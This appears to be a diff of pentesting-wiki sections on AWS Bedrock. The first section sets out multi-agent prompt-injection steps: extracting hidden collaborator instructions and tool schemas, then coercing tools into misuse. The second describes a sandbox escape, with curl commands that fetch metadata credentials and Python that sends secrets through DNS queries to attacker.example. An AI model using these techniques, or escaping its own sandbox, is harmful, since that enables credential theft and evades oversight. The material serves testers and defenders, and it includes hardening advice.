+- The Memory Summarization LLM may include attacker instructions as a new topic (for example, "validation goal"). That topic is stored in the per‑user memory.

+## AWS - Bedrock Agents Multi-Agent Prompt-Injection Chains
+
+### Overview
+
+Amazon Bedrock multi-agent applications add a second prompt/control plane on top of the base agent: a **router** or **supervisor** decides which collaborator receives the user request, and collaborators can expose **action groups**, **knowledge bases**, **memory**, or even **code interpretation**. If the application treats user text as policy and disables Bedrock **pre-processing** or **Guardrails**, a legitimate chatbot user can often steer orchestration, discover collaborators, leak tool schemas, and coerce a collaborator into invoking an allowed tool with attacker-chosen inputs.
+
+This is an **application-level prompt-injection / policy-by-prompt failure**, not a Bedrock platform vulnerability.
+
+### Attack surface and preconditions
+
+The attack becomes practical when all are true:
+- The Bedrock application uses **Supervisor Mode** or **Supervisor with Routing Mode**.
+- A collaborator has high-impact **action groups** or other privileged capabilities.
+- The application accepts **untrusted user text** from a normal chat UI and lets the model decide routing, delegation, or authorization.
+- **Pre-processing** and/or **Guardrails** are disabled, or tool backends trust model-selected arguments without independent authorization checks.
+
+### 1. Operating mode detection
+
+- In **Supervisor with Routing Mode**, the router prompt contains an `<agent_scenarios>` block with `$reachable_agents$`. A detection payload can instruct the router to forward to the **first listed agent** and return a unique marker, proving direct routing occurred.
+- In **Supervisor Mode**, the orchestration prompt forces responses and inter-agent communication through `AgentCommunication__sendMessage()`. A payload that requests a unique message via that tool fingerprints supervisor-mediated handling.
+
+Useful artifacts:
+- `<agent_scenarios>` / `$reachable_agents$` strongly suggests a router classification layer.
+- `AgentCommunication__sendMessage()` strongly suggests supervisor orchestration and an explicit inter-agent messaging primitive.
+
+### 2. Collaborator discovery
+
+- In **Routing Mode**, discovery prompts should look **ambiguous or multi-step** so the router escalates to the supervisor instead of routing straight to one collaborator.
+- The supervisor prompt embeds collaborators inside `<agents>$agent_collaborators$</agents>`, but usually also says not to reveal tools/agents/instructions.
+- Instead of asking for the raw prompt, ask for **functional descriptions** of the available specialists. Even partial descriptions are enough to map collaborators to domains such as forecasting, solar management, or peak-load optimization.
+
+### 3. Payload delivery to a chosen collaborator
+
+- In **Supervisor Mode**, use the discovered collaborator role and instruct the supervisor to relay a payload **unchanged** through `AgentCommunication__sendMessage()`. The goal is payload integrity across the orchestration hop.
+- In **Routing Mode**, craft the prompt with strong **domain cues** so the router classifier consistently sends it to the desired collaborator without supervisor review.
+
+### 4. Exploitation progression: leakage to tool misuse
+
+After delivery, a common progression is:
+
+1. **Instruction extraction**: coerce the collaborator into paraphrasing its internal logic, operational limits, or hidden guidance.
+2. **Tool schema extraction**: elicit tool names, purposes, required parameters, and expected outputs. This gives the attacker the effective API contract for later abuse.
+3. **Tool misuse**: persuade the collaborator to invoke a legitimate action group with attacker-controlled arguments, causing unauthorized business actions such as fraudulent ticket creation, workflow triggering, record manipulation, or downstream API abuse.
+
+The core issue is that the backend lets the model decide **who may do what** by prompt semantics instead of enforcing authorization and validation outside the LLM.
+
+### Notes for operators and defenders
+
+- **Trace** and **model invocation logs** are useful to confirm routing, prompt augmentation, collaborator selection, and whether tool calls executed with the attacker-supplied arguments.
+- Treat each collaborator as a separate trust boundary: scope action groups narrowly, validate tool inputs in the backend, and require server-side authorization before high-impact actions.
+- Bedrock **pre-processing** can reject or classify suspicious requests before orchestration, and **Guardrails** can block prompt-injection attempts at runtime. They should be enabled even if prompt templates already contain “do not disclose” rules.

+## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse
+
+### Overview
+
+Amazon Bedrock AgentCore Code Interpreter runs inside an AWS-managed microVM and supports different network modes. The interesting post-exploitation question is not "can code run?" because code execution is the product feature, but whether the managed isolation still prevents **credential theft**, **exfiltration**, and **C2** once code runs.
+
+The useful chain is:
+
+1. Access the microVM metadata endpoint at `169.254.169.254`
+2. Recover temporary credentials from MMDS if tokenless access is still allowed
+3. Abuse sandbox DNS recursion as a covert egress path
+4. Exfiltrate credentials or run a DNS-based control loop
+
+This is the Bedrock-specific version of the classic **metadata -> credentials -> exfiltration** cloud attack path.
+
+### Main primitives
+
+#### 1. Runtime SSRF -> MMDS credentials
+
+AgentCore Runtime is not supposed to expose arbitrary code execution to end users, so the interesting primitive there is **SSRF**. If the runtime can be tricked into requesting `http://169.254.169.254/...` and MMDS accepts plain `GET` requests without an MMDSv2 token, the SSRF becomes a direct credential theft primitive.
+
+This recreates the old **IMDSv1 risk model**:
+```bash
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
+```
+如果强制启用 MMDSv2，简单的 SSRF 通常会失去影响，因为它还需要先发送一个 `PUT` 请求来获取 session token。如果较旧的 agents/tools 仍然启用了兼容 MMDSv1 的访问，那么应将 Runtime SSRF 视为高危的 credential theft 路径。
+
+#### 2. Code Interpreter -> MMDS reconnaissance
+
+在 Code Interpreter 内部，arbitrary code execution 本来就已经按设计存在，所以 MMDS 主要重要在于它会暴露：
+
+- temporary IAM role credentials
+- instance metadata and tags
+- 指向可达 AWS backends 的 internal service plumbing 线索
+
+研究中的有趣路径：
+
+- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
+- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`
+
+返回的 S3 pre-signed URL 很有用，因为它证明 sandbox 仍然需要某种到 AWS services 的 outbound path。这是一个很强的信号，说明“isolated”只意味着“restricted”，并不意味着“offline”。
+
+#### 3. Sandbox DNS recursion -> DNS tunneling
+
+最有价值的网络发现是，Sandbox mode 仍然可以执行 **DNS resolution**，包括对任意 public domains 的 recursion。即使 direct TCP/UDP data traffic 被阻断，这也足以实现 **DNS tunneling**。
+
+从 interpreter 内部进行快速验证：
+```python
+import socket
+
+socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
+socket.gethostbyname_ex("attacker.example")
+```
+如果 attacker-controlled domains 可以解析，就直接使用查询名本身作为传输：
+```python
+import base64
+import socket
+
+data = b"my-secret"
+label = base64.urlsafe_b64encode(data).decode().rstrip("=")
+socket.gethostbyname_ex(f"{label}.attacker.example")
+```
+递归解析器会将查询转发到攻击者的 authoritative DNS server，因此 payload 会从 DNS logs 中被恢复。把这个过程按 chunks 重复，就能为以下内容提供一个简单的 **egress channel**：
+
+- MMDS credentials
+- environment variables
+- source code
+- command output
+
+DNS responses 也可以携带少量 tasking values，从而实现一个基础的 **bidirectional DNS C2** 循环。
+
+### Practical post-exploitation chain
+
+1. 在 AgentCore Code Interpreter 中获得 code execution，或在 AgentCore Runtime 中获得 SSRF。
+2. 查询 MMDS，并在可用 tokenless metadata 时恢复附加的 role credentials。
+3. 测试 sandbox/public DNS recursion 是否能到达攻击者域名。
+4. 将 credentials 分块并编码到 subdomains 中。
+5. 从 authoritative DNS logs 中重建它们，并将其与 AWS APIs 复用。
+
+对于通过更高权限的 interpreter configuration 直接进行 execution-role pivoting，也请查看 [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md)。
+
+### Pre-signed URL signer identity leak
+
+未公开文档的 MMDS tag values 也可能泄露 backend identity information。如果你故意破坏返回的 S3 pre-signed URL 的 signature，`SignatureDoesNotMatch` 响应可能会披露签名的 `AWSAccessKeyID`。然后可以将该 key ID 映射到对应的 AWS account：
+```bash
+aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
+```
+这不会自动授予在 pre-signed object path 范围之外的写入权限，但它有助于映射 Bedrock service 背后的 AWS-managed infrastructure。
+
+### 加固 / 检测
+
+- 在你需要真正的网络隔离而不是依赖 Sandbox mode 时，优先使用 **VPC mode**。
+- 在 VPC mode 中使用 **Route 53 Resolver DNS Firewall** 限制 DNS egress。
+- 在 AgentCore 提供该控制项时要求使用 **MMDSv2**，并在旧版 agents/tools 上禁用 MMDSv1 兼容性。
+- 将任何 Runtime SSRF 视为可能等同于 metadata credential theft，直到验证其仅支持 MMDSv2 的行为。
+- 严格限制 AgentCore execution roles 的作用范围，因为 DNS tunneling 会把“non-internet” code execution 变成一种实用的 exfiltration channel。
